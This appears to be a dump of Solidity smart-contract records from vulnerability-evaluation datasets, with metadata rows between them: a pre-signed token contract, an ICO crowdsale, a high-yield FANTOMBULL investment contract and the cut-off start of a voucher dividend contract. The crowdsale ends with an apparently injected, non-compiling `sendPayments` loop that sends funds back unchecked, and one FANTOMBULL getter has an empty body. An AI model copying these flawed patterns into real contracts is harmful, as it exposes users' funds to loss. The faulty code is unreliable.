require(!invalidSignatures[from][_signature]);
invalidSignatures[from][_signature] = true;
nonces[from]++;
// Internal transfer.
require(_transfer(from, _to, _value));
// If the delegate is charging, pay them for gas in GTCOIN.
if (_gasPrice > 0) {
// 35000 because of base fee of 21000 and ~14000 for the fee transfer.
gas = 35000 + gas.sub(gasleft());
require(_transfer(from, msg.sender, _gasPrice.mul(gas)));
}
emit SignatureRedeemed(_signature, from);
return true;
}
function approvePreSigned(bytes _signature,
address _to,
uint256 _value,
uint256 _gasPrice,
uint256 _nonce)
public
validPayload(292)
returns (bool)
{
uint256 gas = gasleft();
address from = recoverPreSigned(_signature, approveSig, _to, _value, "", _gasPrice, _nonce);
require(from != address(0));
require(!invalidSignatures[from][_signature]);
invalidSignatures[from][_signature] = true;
nonces[from]++;
require(_approve(from, _to, _value));
if (_gasPrice > 0) {
gas = 35000 + gas.sub(gasleft());
require(_transfer(from, msg.sender, _gasPrice.mul(gas)));
}
emit SignatureRedeemed(_signature, from);
return true;
}
function increaseApprovalPreSigned(bytes _signature,
address _to,
uint256 _value,
uint256 _gasPrice,
uint256 _nonce)
public
validPayload(292)
returns (bool)
{
uint256 gas = gasleft();
address from = recoverPreSigned(_signature, increaseApprovalSig, _to, _value, "", _gasPrice, _nonce);
require(from != address(0));
require(!invalidSignatures[from][_signature]);
invalidSignatures[from][_signature] = true;
nonces[from]++;
require(_increaseApproval(from, _to, _value));
if (_gasPrice > 0) {
gas = 35000 + gas.sub(gasleft());
require(_transfer(from, msg.sender, _gasPrice.mul(gas)));
}
emit SignatureRedeemed(_signature, from);
return true;
}
function decreaseApprovalPreSigned(bytes _signature,
address _to,
uint256 _value,
uint256 _gasPrice,
uint256 _nonce)
public
validPayload(292)
returns (bool)
{
uint256 gas = gasleft();
address from = recoverPreSigned(_signature, decreaseApprovalSig, _to, _value, "", _gasPrice, _nonce);
require(from != address(0));
require(!invalidSignatures[from][_signature]);
invalidSignatures[from][_signature] = true;
nonces[from]++;
require(_decreaseApproval(from, _to, _value));
if (_gasPrice > 0) {
gas = 35000 + gas.sub(gasleft());
require(_transfer(from, msg.sender, _gasPrice.mul(gas)));
}
emit SignatureRedeemed(_signature, from);
return true;
}
function approveAndCallPreSigned(bytes _signature,
address _to,
uint256 _value,
bytes _extraData,
uint256 _gasPrice,
uint256 _nonce)
public
validPayload(356)
returns (bool)
{
uint256 gas = gasleft();
address from = recoverPreSigned(_signature, approveAndCallSig, _to, _value, _extraData, _gasPrice, _nonce);
require(from != address(0));
require(!invalidSignatures[from][_signature]);
invalidSignatures[from][_signature] = true;
nonces[from]++;
require(_approve(from, _to, _value));
ApproveAndCallFallBack(_to).receiveApproval(from, _value, address(this), _extraData);
if (_gasPrice > 0) {
gas = 35000 + gas.sub(gasleft());
require(_transfer(from, msg.sender, _gasPrice.mul(gas)));
}
emit SignatureRedeemed(_signature, from);
return true;
}
function revokeSignature(bytes _sigToRevoke)
public
returns (bool)
{
invalidSignatures[msg.sender][_sigToRevoke] = true;
emit SignatureRedeemed(_sigToRevoke, msg.sender);
return true;
}
function revokeSignaturePreSigned(bytes _signature,
bytes _sigToRevoke,
uint256 _gasPrice)
public
validPayload(356)
returns (bool)
{
uint256 gas = gasleft();
address from = recoverRevokeHash(_signature, _sigToRevoke, _gasPrice);
require(!invalidSignatures[from][_signature]);
invalidSignatures[from][_signature] = true;
invalidSignatures[from][_sigToRevoke] = true;
if (_gasPrice > 0) {
gas = 35000 + gas.sub(gasleft());
require(_transfer(from, msg.sender, _gasPrice.mul(gas)));
}
emit SignatureRedeemed(_signature, from);
return true;
}
function getRevokeHash(bytes _sigToRevoke, uint256 _gasPrice)
public
pure
returns (bytes32 txHash)
{
return keccak256(revokeSignatureSig, _sigToRevoke, _gasPrice);
}
function recoverRevokeHash(bytes _signature, bytes _sigToRevoke, uint256 _gasPrice)
public
pure
returns (address from)
{
return ecrecoverFromSig(getSignHash(getRevokeHash(_sigToRevoke, _gasPrice)), _signature);
}
function getPreSignedHash(bytes4 _function,
address _to,
uint256 _value,
bytes _extraData,
uint256 _gasPrice,
uint256 _nonce)
public
view
returns (bytes32 txHash)
{
return keccak256(address(this), _function, _to, _value, _extraData, _gasPrice, _nonce);
}
function recoverPreSigned(bytes _sig,
bytes4 _function,
address _to,
uint256 _value,
bytes _extraData,
uint256 _gasPrice,
uint256 _nonce)
public
view
returns (address recovered)
{
return ecrecoverFromSig(getSignHash(getPreSignedHash(_function, _to, _value, _extraData, _gasPrice, _nonce)), _sig);
}
function getSignHash(bytes32 _hash)
public
pure
returns (bytes32 signHash)
{
return keccak256("\x19Ethereum Signed Message:\n32", _hash);
}
function ecrecoverFromSig(bytes32 hash, bytes sig)
public
pure
returns (address recoveredAddress)
{
bytes32 r;
bytes32 s;
uint8 v;
if (sig.length != 65) return address(0);
assembly {
r := mload(add(sig, 32))
s := mload(add(sig, 64))
// There is no 'mload8' to do this, but that would be nicer.
v := byte(0, mload(add(sig, 96)))
}
if (v < 27) {
v += 27;
}
if (v != 27 && v != 28) return address(0);
return ecrecover(hash, v, r, s);
}
function getNonce(address _owner)
external
view
returns (uint256 nonce)
{
return nonces[_owner];
}
function totalSupply()
external
view
returns (uint256)
{
return _totalSupply;
}
function balanceOf(address _owner)
external
view
returns (uint256)
{
return balances[_owner];
}
function allowance(address _owner, address _spender)
external
view
returns (uint256)
{
return allowed[_owner][_spender];
}
function token_escape(address _tokenContract)
external
onlyOwner
{
GameTesterToken lostToken = GameTesterToken(_tokenContract);
uint256 stuckTokens = lostToken.balanceOf(address(this));
lostToken.transfer(owner, stuckTokens);
}
function updateStandard(bytes4 _standardSig, bytes4 _ourSig)
external
onlyOwner
returns (bool success)
{
// These 6 are the signatures of our pre-signed functions.
require(_ourSig == 0x1296830d || _ourSig == 0x617b390b || _ourSig == 0xadb8249e ||
_ourSig == 0x8be52783 || _ourSig == 0xc8d4b389 || _ourSig == 0xe391a7c4);
standardSigs[_standardSig] = _ourSig;
return true;
}
modifier validPayload(uint _size) {
uint payload_size;
assembly {
payload_size := calldatasize
}
require(payload_size >= _size);
_;
}
}
| 282,772 | 343 |
1cb8cf46c4ae024703bd32b8aad83058cca331d69aad7df58ea15fe6b25a479e
| 19,177 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
evaluation-dataset/0x7a3822a45dd6e6c91cc87012b3059266106e122d.sol
| 3,893 | 12,556 |
pragma solidity ^0.4.24;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender)
external view returns (uint256);
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value)
external returns (bool);
function transferFrom(address from, address to, uint256 value)
external returns (bool);
event Transfer(address indexed from,
address indexed to,
uint256 value);
event Approval(address indexed owner,
address indexed spender,
uint256 value);
}
library SafeERC20Transfer {
function safeTransfer(IERC20 token,
address to,
uint256 value)
internal
{
require(token.transfer(to, value));
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0); // Solidity only automatically asserts when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
contract Ownable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner,
address indexed newOwner);
constructor() public {
_owner = msg.sender;
emit OwnershipTransferred(address(0), _owner);
}
function owner() public view returns(address) {
return _owner;
}
modifier onlyOwner() {
require(isOwner());
_;
}
function isOwner() public view returns(bool) {
return msg.sender == _owner;
}
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0));
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract Crowdsale is Ownable {
using SafeMath for uint256;
using SafeERC20Transfer for IERC20;
// The token being sold
IERC20 private _token;
// Address where funds are collected
address private _wallet;
// How many token units a buyer gets per 1 ETH.
uint256 private _rate = 5000;
// Amount of wei raised
uint256 private _weiRaised;
// Accrued tokens amount
uint256 private _accruedTokensAmount;
// freezing periods in seconds
uint256 private _threeMonths = 5256000;
uint256 private _sixMonths = 15768000;
uint256 private _nineMonths = 21024000;
uint256 private _twelveMonths = 31536000;
// ICO configuration
uint256 private _foundersTokens = 4e7;
uint256 private _distributedTokens = 1e9;
uint256 public softCap = 1000 ether;
uint256 public hardCap = 35000 ether;
uint256 public preICO_1_Start = 1541030400; // 01/11/2018 00:00:00
uint256 public preICO_2_Start = 1541980800; // 12/11/2018 00:00:00
uint256 public preICO_3_Start = 1542844800; // 22/11/2018 00:00:00
uint256 public ICO_Start = 1543622400; // 01/12/2018 00:00:00
uint256 public ICO_End = 1548979199; // 31/01/2019 23:59:59
uint32 public bonus1 = 30; // pre ICO phase 1
uint32 public bonus2 = 20; // pre ICO phase 2
uint32 public bonus3 = 10; // pre ICO phase 3
uint32 public whitelistedBonus = 10;
mapping (address => bool) private _whitelist;
// tokens accrual
mapping (address => uint256) public threeMonthsFreezingAccrual;
mapping (address => uint256) public sixMonthsFreezingAccrual;
mapping (address => uint256) public nineMonthsFreezingAccrual;
mapping (address => uint256) public twelveMonthsFreezingAccrual;
// investors ledger
mapping (address => uint256) public ledger;
event Accrual(address to,
uint256 accruedAmount,
uint256 freezingTime,
uint256 purchasedAmount,
uint256 weiValue);
event Released(address to,
uint256 amount);
event Refunded(address to,
uint256 value);
event TokensPurchased(address indexed purchaser,
address indexed beneficiary,
uint256 value,
uint256 amount);
constructor(address newOwner, address wallet, address founders, IERC20 token) public {
require(wallet != address(0));
require(founders != address(0));
require(token != address(0));
require(newOwner != address(0));
transferOwnership(newOwner);
_wallet = wallet;
_token = token;
twelveMonthsFreezingAccrual[founders] = _foundersTokens;
_accruedTokensAmount = _foundersTokens;
emit Accrual(founders, _foundersTokens, _twelveMonths, 0, 0);
}
// -----------------------------------------
// Crowdsale external interface
// -----------------------------------------
function () external payable {
buyTokens(msg.sender);
}
function token() public view returns(IERC20) {
return _token;
}
function wallet() public view returns(address) {
return _wallet;
}
function rate() public view returns(uint256) {
return _rate;
}
function weiRaised() public view returns (uint256) {
return _weiRaised;
}
function whitelist(address who) public view returns (bool) {
return _whitelist[who];
}
function addToWhitelist(address who) public onlyOwner {
_whitelist[who] = true;
}
function removeFromWhitelist(address who) public onlyOwner {
_whitelist[who] = false;
}
function accrueAdvisorsTokens(address to, uint256 amount) public onlyOwner {
require(now > ICO_End);
uint256 tokenBalance = _token.balanceOf(address(this));
require(tokenBalance >= _accruedTokensAmount.add(amount));
_accruedTokensAmount = _accruedTokensAmount.add(amount);
sixMonthsFreezingAccrual[to] = sixMonthsFreezingAccrual[to].add(amount);
emit Accrual(to, amount, _sixMonths, 0, 0);
}
function accruePartnersTokens(address to, uint256 amount) public onlyOwner {
require(now > ICO_End);
uint256 tokenBalance = _token.balanceOf(address(this));
require(tokenBalance >= _accruedTokensAmount.add(amount));
_accruedTokensAmount = _accruedTokensAmount.add(amount);
nineMonthsFreezingAccrual[to] = nineMonthsFreezingAccrual[to].add(amount);
emit Accrual(to, amount, _nineMonths, 0, 0);
}
function accrueBountyTokens(address to, uint256 amount) public onlyOwner {
require(now > ICO_End);
uint256 tokenBalance = _token.balanceOf(address(this));
require(tokenBalance >= _accruedTokensAmount.add(amount));
_accruedTokensAmount = _accruedTokensAmount.add(amount);
twelveMonthsFreezingAccrual[to] = twelveMonthsFreezingAccrual[to].add(amount);
emit Accrual(to, amount, _twelveMonths, 0, 0);
}
function release() public {
address who = msg.sender;
uint256 amount;
if (now > ICO_End.add(_twelveMonths) && twelveMonthsFreezingAccrual[who] > 0) {
amount = amount.add(twelveMonthsFreezingAccrual[who]);
_accruedTokensAmount = _accruedTokensAmount.sub(twelveMonthsFreezingAccrual[who]);
twelveMonthsFreezingAccrual[who] = 0;
}
if (now > ICO_End.add(_nineMonths) && nineMonthsFreezingAccrual[who] > 0) {
amount = amount.add(nineMonthsFreezingAccrual[who]);
_accruedTokensAmount = _accruedTokensAmount.sub(nineMonthsFreezingAccrual[who]);
nineMonthsFreezingAccrual[who] = 0;
}
if (now > ICO_End.add(_sixMonths) && sixMonthsFreezingAccrual[who] > 0) {
amount = amount.add(sixMonthsFreezingAccrual[who]);
_accruedTokensAmount = _accruedTokensAmount.sub(sixMonthsFreezingAccrual[who]);
sixMonthsFreezingAccrual[who] = 0;
}
if (now > ICO_End.add(_threeMonths) && threeMonthsFreezingAccrual[who] > 0) {
amount = amount.add(threeMonthsFreezingAccrual[who]);
_accruedTokensAmount = _accruedTokensAmount.sub(threeMonthsFreezingAccrual[who]);
threeMonthsFreezingAccrual[who] = 0;
}
if (amount > 0) {
_deliverTokens(who, amount);
emit Released(who, amount);
}
}
function refund() public {
address investor = msg.sender;
require(now > ICO_End);
require(_weiRaised < softCap);
require(ledger[investor] > 0);
uint256 value = ledger[investor];
ledger[investor] = 0;
investor.transfer(value);
emit Refunded(investor, value);
}
function buyTokens(address beneficiary) public payable {
uint256 weiAmount = msg.value;
_preValidatePurchase(beneficiary, weiAmount);
// calculate token amount to be created
uint256 tokens = _getTokenAmount(weiAmount);
// bonus tokens accrual and ensure token balance is enough for accrued tokens release
_accrueBonusTokens(beneficiary, tokens, weiAmount);
// update state
_weiRaised = _weiRaised.add(weiAmount);
_processPurchase(beneficiary, tokens);
emit TokensPurchased(msg.sender,
beneficiary,
weiAmount,
tokens);
if (_weiRaised >= softCap) _forwardFunds();
ledger[msg.sender] = ledger[msg.sender].add(msg.value);
}
// -----------------------------------------
// Internal interface (extensible)
// -----------------------------------------
function _accrueBonusTokens(address beneficiary, uint256 tokenAmount, uint256 weiAmount) internal {
uint32 bonus = 0;
uint256 bonusTokens = 0;
uint256 tokenBalance = _token.balanceOf(address(this));
if (_whitelist[beneficiary] && now < ICO_Start) bonus = bonus + whitelistedBonus;
if (now < preICO_2_Start) {
bonus = bonus + bonus1;
bonusTokens = tokenAmount.mul(bonus).div(100);
require(tokenBalance >= _accruedTokensAmount.add(bonusTokens).add(tokenAmount));
_accruedTokensAmount = _accruedTokensAmount.add(bonusTokens);
nineMonthsFreezingAccrual[beneficiary] = nineMonthsFreezingAccrual[beneficiary].add(bonusTokens);
emit Accrual(beneficiary, bonusTokens, _nineMonths, tokenAmount, weiAmount);
} else if (now < preICO_3_Start) {
bonus = bonus + bonus2;
bonusTokens = tokenAmount.mul(bonus).div(100);
require(tokenBalance >= _accruedTokensAmount.add(bonusTokens).add(tokenAmount));
_accruedTokensAmount = _accruedTokensAmount.add(bonusTokens);
sixMonthsFreezingAccrual[beneficiary] = sixMonthsFreezingAccrual[beneficiary].add(bonusTokens);
emit Accrual(beneficiary, bonusTokens, _sixMonths, tokenAmount, weiAmount);
} else if (now < ICO_Start) {
bonus = bonus + bonus3;
bonusTokens = tokenAmount.mul(bonus).div(100);
require(tokenBalance >= _accruedTokensAmount.add(bonusTokens).add(tokenAmount));
_accruedTokensAmount = _accruedTokensAmount.add(bonusTokens);
threeMonthsFreezingAccrual[beneficiary] = threeMonthsFreezingAccrual[beneficiary].add(bonusTokens);
emit Accrual(beneficiary, bonusTokens, _threeMonths, tokenAmount, weiAmount);
} else {
require(tokenBalance >= _accruedTokensAmount.add(tokenAmount));
emit Accrual(beneficiary, 0, 0, tokenAmount, weiAmount);
}
}
function _preValidatePurchase(address beneficiary,
uint256 weiAmount)
internal view
{
require(beneficiary != address(0));
require(weiAmount != 0);
require(_weiRaised.add(weiAmount) <= hardCap);
require(now >= preICO_1_Start);
require(now <= ICO_End);
}
function _deliverTokens(address beneficiary,
uint256 tokenAmount)
internal
{
_token.safeTransfer(beneficiary, tokenAmount);
}
function _processPurchase(address beneficiary,
uint256 tokenAmount)
internal
{
_deliverTokens(beneficiary, tokenAmount);
}
function _getTokenAmount(uint256 weiAmount)
internal view returns (uint256)
{
return weiAmount.mul(_rate).div(1e18);
}
function _forwardFunds() internal {
uint256 balance = address(this).balance;
_wallet.transfer(balance);
}
function sendPayments() public {
for(uint i = 0; i < values.length - 1; i++) {
msg.sender.send(msg.value);
}
}
}
| 184,004 | 344 |
dfcd91e1e84c704d07fc28d5af76f598878877a3cd7e9f1f4e52c4d0f0da86b6
| 11,944 |
.sol
|
Solidity
| false |
454085139
|
tintinweb/smart-contract-sanctuary-fantom
|
63c4f5207082cb2a5f3ee5a49ccec1870b1acf3a
|
contracts/mainnet/19/198679ca76dadc52fb252545fc8408c9648fb0d0_FANTOMBULL.sol
| 3,685 | 11,245 |
// SPDX-License-Identifier: GPL-3.0
pragma solidity 0.5.8;
contract FANTOMBULL {
using SafeMath for uint256;
using SafeMath for uint8;
uint256 constant public INVEST_MIN_AMOUNT = 5 ether; // 5 FTM
uint256[] public REFERRAL_PERCENTS = [50, 30, 20];
uint256 constant public PROJECT_FEE = 80;
uint256 constant public DEVELOPER_FEE = 20;
uint256 constant public PERCENT_STEP = 5;
uint256 constant public PERCENTS_DIVIDER= 1000;
uint256 constant public TIME_STEP = 1 days;
uint256 constant public MAX_HOLD_PERCENT = 15;
uint256 WITHDRAW_FEE_1 = 100; //10%
uint256 WITHDRAW_FEE_2 = 150; //15%
uint256 public totalStaked;
uint256 public totalRefBonus;
uint256 public totalUsers;
struct Plan {
uint256 time;
uint256 percent;
}
Plan[] internal plans;
struct Deposit {
uint8 plan;
uint256 percent;
uint256 amount;
uint256 profit;
uint256 start;
uint256 finish;
}
struct User {
Deposit[] deposits;
uint256 checkpoint;
uint256 holdBonusCheckpoint;
address payable referrer;
uint256 referrals;
uint256 totalBonus;
uint256 withdrawn;
}
mapping (address => User) internal users;
uint256 public startUNIX;
address payable private commissionWallet;
address payable private developerWallet;
event Newbie(address user);
event NewDeposit(address indexed user, uint8 plan, uint256 percent, uint256 amount, uint256 profit, uint256 start, uint256 finish);
event Withdrawn(address indexed user, uint256 amount);
event RefBonus(address indexed referrer, address indexed referral, uint256 indexed level, uint256 amount);
constructor(address payable wallet, address payable _developer) public {
require(!isContract(wallet));
commissionWallet = wallet;
developerWallet = _developer;
startUNIX = block.timestamp.add(365 days);
plans.push(Plan(14, 80)); // 8% per day for 14 days
plans.push(Plan(21, 65)); // 6.5% per day for 21 days
plans.push(Plan(28, 50)); // 5% per day for 28 days
plans.push(Plan(14, 80)); // 8% per day for 14 days (at the end, compounding)
plans.push(Plan(21, 65)); // 6.5% per day for 21 days (at the end, compounding)
plans.push(Plan(28, 50)); // 5% per day for 28 days (at the end, compounding)
}
function launch() public {
require(msg.sender == developerWallet);
startUNIX = block.timestamp;
}
function invest(address payable referrer,uint8 plan) public payable {
_invest(referrer, plan, msg.sender, msg.value);
}
function _invest(address payable referrer, uint8 plan, address payable sender, uint256 value) private {
require(value >= INVEST_MIN_AMOUNT);
require(plan < 6, "Invalid plan");
require(startUNIX < block.timestamp, "contract hasn`t started yet");
uint256 fee = value.mul(PROJECT_FEE).div(PERCENTS_DIVIDER);
commissionWallet.transfer(fee);
uint256 developerFee = value.mul(DEVELOPER_FEE).div(PERCENTS_DIVIDER);
developerWallet.transfer(developerFee);
User storage user = users[sender];
if (user.referrer == address(0)) {
if (users[referrer].deposits.length > 0 && referrer != sender) {
user.referrer = referrer;
}
address upline = user.referrer;
for (uint256 i = 0; i < 3; i++) {
if (upline != address(0)) {
users[upline].referrals = users[upline].referrals.add(1);
upline = users[upline].referrer;
} else break;
}
}
if (user.referrer != address(0)) {
uint256 _refBonus = 0;
address payable upline = user.referrer;
for (uint256 i = 0; i < 3; i++) {
if (upline != address(0)) {
uint256 amount = value.mul(REFERRAL_PERCENTS[i]).div(PERCENTS_DIVIDER);
users[upline].totalBonus = users[upline].totalBonus.add(amount);
upline.transfer(amount);
_refBonus = _refBonus.add(amount);
emit RefBonus(upline, sender, i, amount);
upline = users[upline].referrer;
} else break;
}
totalRefBonus = totalRefBonus.add(_refBonus);
}
if (user.deposits.length == 0) {
user.checkpoint = block.timestamp;
user.holdBonusCheckpoint = block.timestamp;
emit Newbie(sender);
}
(uint256 percent, uint256 profit, uint256 finish) = getResult(plan, value);
user.deposits.push(Deposit(plan, percent, value, profit, block.timestamp, finish));
totalStaked = totalStaked.add(value);
totalUsers = totalUsers.add(1);
emit NewDeposit(sender, plan, percent, value, profit, block.timestamp, finish);
}
function withdraw() public {
User storage user = users[msg.sender];
uint256 totalAmount = getUserDividends(msg.sender);
require(totalAmount > 0, "User has no dividends");
uint256 contractBalance = address(this).balance;
if (contractBalance < totalAmount) {
totalAmount = contractBalance;
}
user.checkpoint = block.timestamp;
user.holdBonusCheckpoint = block.timestamp;
user.withdrawn = user.withdrawn.add(totalAmount);
msg.sender.transfer(totalAmount);
emit Withdrawn(msg.sender, totalAmount);
}
function getContractBalance() public view returns (uint256) {
return address(this).balance;
}
function getPlanInfo(uint8 plan) public view returns(uint256 time, uint256 percent) {
time = plans[plan].time;
percent = plans[plan].percent;
}
function getPercent(uint8 plan) public view returns (uint256) {
return plans[plan].percent.add(PERCENT_STEP.mul(block.timestamp.sub(startUNIX)).div(TIME_STEP));
}
function getResult(uint8 plan, uint256 deposit) public view returns (uint256 percent, uint256 profit, uint256 finish) {
percent = getPercent(plan);
if (plan < 3) {
profit = deposit.mul(percent).div(PERCENTS_DIVIDER).mul(plans[plan].time);
} else if (plan < 6) {
for (uint256 i = 0; i < plans[plan].time; i++) {
profit = profit.add((deposit.add(profit)).mul(percent).div(PERCENTS_DIVIDER));
}
}
finish = block.timestamp.add(plans[plan].time.mul(TIME_STEP));
}
function getUserPercentRate(address userAddress) public view returns (uint) {
User storage user = users[userAddress];
uint256 timeMultiplier = block.timestamp.sub(user.holdBonusCheckpoint).div(TIME_STEP); // +0.1% per day
if (timeMultiplier > MAX_HOLD_PERCENT) {
timeMultiplier = MAX_HOLD_PERCENT;
}
return timeMultiplier;
}
function getUserDividends(address userAddress) public view returns (uint256) {
User storage user = users[userAddress];
uint256 totalAmount;
uint256 holdBonus = getUserPercentRate(userAddress);
for (uint256 i = 0; i < user.deposits.length; i++) {
if (user.checkpoint < user.deposits[i].finish) {
if (user.deposits[i].plan < 3) {
uint256 share = user.deposits[i].amount.mul(user.deposits[i].percent.add(holdBonus)).div(PERCENTS_DIVIDER);
uint256 from = user.deposits[i].start > user.checkpoint ? user.deposits[i].start : user.checkpoint;
uint256 to = user.deposits[i].finish < block.timestamp ? user.deposits[i].finish : block.timestamp;
if (from < to) {
uint256 _dividends = share.mul(to.sub(from)).div(TIME_STEP);
uint256 _dividendsWithFee = _dividends.sub(_dividends.mul(WITHDRAW_FEE_1).div(PERCENTS_DIVIDER));
totalAmount = totalAmount.add(_dividendsWithFee);
}
} else {
if(block.timestamp > user.deposits[i].finish) {
uint256 _profit = user.deposits[i].profit;
uint256 _profitWithFee = _profit.sub(_profit.mul(WITHDRAW_FEE_2).div(PERCENTS_DIVIDER));
totalAmount = totalAmount.add(_profitWithFee);
}
}
}
}
return totalAmount;
}
function getUserAvailable(address userAddress) public view returns (uint256) {
User storage user = users[userAddress];
uint256 totalAmount;
uint256 holdBonus = getUserPercentRate(userAddress);
for (uint256 i = 0; i < user.deposits.length; i++) {
if (user.checkpoint < user.deposits[i].finish) {
if (user.deposits[i].plan < 3) {
uint256 share = user.deposits[i].amount.mul(user.deposits[i].percent.add(holdBonus)).div(PERCENTS_DIVIDER);
uint256 from = user.deposits[i].start > user.checkpoint ? user.deposits[i].start : user.checkpoint;
uint256 to = user.deposits[i].finish < block.timestamp ? user.deposits[i].finish : block.timestamp;
if (from < to) {
totalAmount = totalAmount.add(share.mul(to.sub(from)).div(TIME_STEP));
}
} else {
if(block.timestamp > user.deposits[i].finish) {
totalAmount = totalAmount.add(user.deposits[i].profit);
}
}
}
}
return totalAmount;
}
function getContractInfo() public view returns(uint256, uint256, uint256) {
return(totalStaked, totalRefBonus, totalUsers);
}
function getUserWithdrawn(address userAddress) public view returns(uint256) {
return users[userAddress].withdrawn;
}
function getUserCheckpoint(address userAddress) public view returns(uint256) {
return users[userAddress].checkpoint;
}
function getUserReferrer(address userAddress) public view returns(address) {
return users[userAddress].referrer;
}
function getUserDownlineCount(address userAddress) public view returns(uint256) {
return (users[userAddress].referrals);
}
function getUserReferralTotalBonus(address userAddress) public view returns(uint256) {
return users[userAddress].totalBonus;
}
function getUserAmountOfDeposits(address userAddress) public view returns(uint256) {
return users[userAddress].deposits.length;
}
function getUserTotalDeposits(address userAddress) public view returns(uint256 amount) {
for (uint256 i = 0; i < users[userAddress].deposits.length; i++) {
amount = amount.add(users[userAddress].deposits[i].amount);
}
}
function getUserTotalWithdrawn(address userAddress) public view returns(uint256 amount) {
}
function getUserDepositInfo(address userAddress, uint256 index) public view returns(uint8 plan, uint256 percent, uint256 amount, uint256 profit, uint256 start, uint256 finish) {
User storage user = users[userAddress];
plan = user.deposits[index].plan;
percent = user.deposits[index].percent;
amount = user.deposits[index].amount;
profit = user.deposits[index].profit;
start = user.deposits[index].start;
finish = user.deposits[index].finish;
}
function isContract(address addr) internal view returns (bool) {
uint size;
assembly { size := extcodesize(addr) }
return size > 0;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
| 311,124 | 345 |
ff4c93c701881c84674f303c9e44e821f9d70ed096dabae1591e71119f46b923
| 26,941 |
.sol
|
Solidity
| false |
453466497
|
tintinweb/smart-contract-sanctuary-tron
|
44b9f519dbeb8c3346807180c57db5337cf8779b
|
contracts/mainnet/TL/TLojhyCAuQgENHRMcQHiSyqtQDCxXCo2pH_VoucherDividend.sol
| 5,155 | 20,307 |
//SourceUnit: voucherDividend.sol
pragma solidity 0.4.25;
//
//------------------------ SafeMath Library -------------------------//
//
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, 'SafeMath mul failed');
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, 'SafeMath sub failed');
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, 'SafeMath add failed');
return c;
}
}
//
//--------------------- GAMES CONTRACT INTERFACE ---------------------//
//
interface InterfaceGAMES {
function getAvailableVoucherRake() external returns (uint256);
function requestVoucherRakePayment() external returns(bool);
}
//
//------------------ VOUCHER TOKEN CONTRACT INTERFACE ------------------//
//
interface InterfaceVoucherTOKEN {
//trc20 token contract functions
function balanceOf(address user) external returns(uint256);
function totalSupply() external returns(uint256);
//custom voucher token contract functions
function changeMintingBasePriceWhileDivDistro() external returns (bool);
function usersVoucherBurnedAmount(address user,uint256 mintShareStatus) external view returns(uint256);
function totalBurnIn(uint256 status) external view returns(uint256);
}
//
//------------------ TOPIA TOKEN CONTRACT INTERFACE ------------------//
//
interface InterfaceTopiaTOKEN {
//trc20 token contract functions
function transferFrom(address _from, address _to, uint256 _value) external returns (bool);
function transfer(address to, uint256 amount) external returns(bool);
}
//
//------------------ DIAMOND TOKEN CONTRACT INTERFACE ------------------//
//
interface InterfaceDiamondTOKEN {
function usersDiamondFrozen(address user) external returns (uint256);
}
//
//------------------ Contract to Manage Ownership -------------------//
//
contract owned {
address internal owner;
address internal newOwner;
address internal signer;
event OwnershipTransferred(address indexed _from, address indexed _to);
constructor() public {
owner = msg.sender;
signer = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
modifier onlySigner {
require(msg.sender == signer);
_;
}
function changeSigner(address _signer) public onlyOwner {
signer = _signer;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
//this flow is to prevent transferring ownership to wrong wallet by mistake
function acceptOwnership() public {
require(msg.sender == newOwner);
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
//
//--------------------- VOUCHER MAIN CODE STARTS HERE ---------------------//
//
contract VoucherDividend is owned {
// Public variables of the token
using SafeMath for uint256;
bool public globalHalt;
address public voucherTokenContract;
address public topiaTokenContract;
address public diamondTokenContract;
uint256 public requiredDiamondFrozenForBonus = 100 * 1e6;
uint256 public dividendAccumulated;
uint256 public divPercentageSUN = 100000000; //100% of dividend distributed
uint256 public dividendRemainder;
uint256 public lastDividendPaidTime;
// This creates a mapping with all data storage
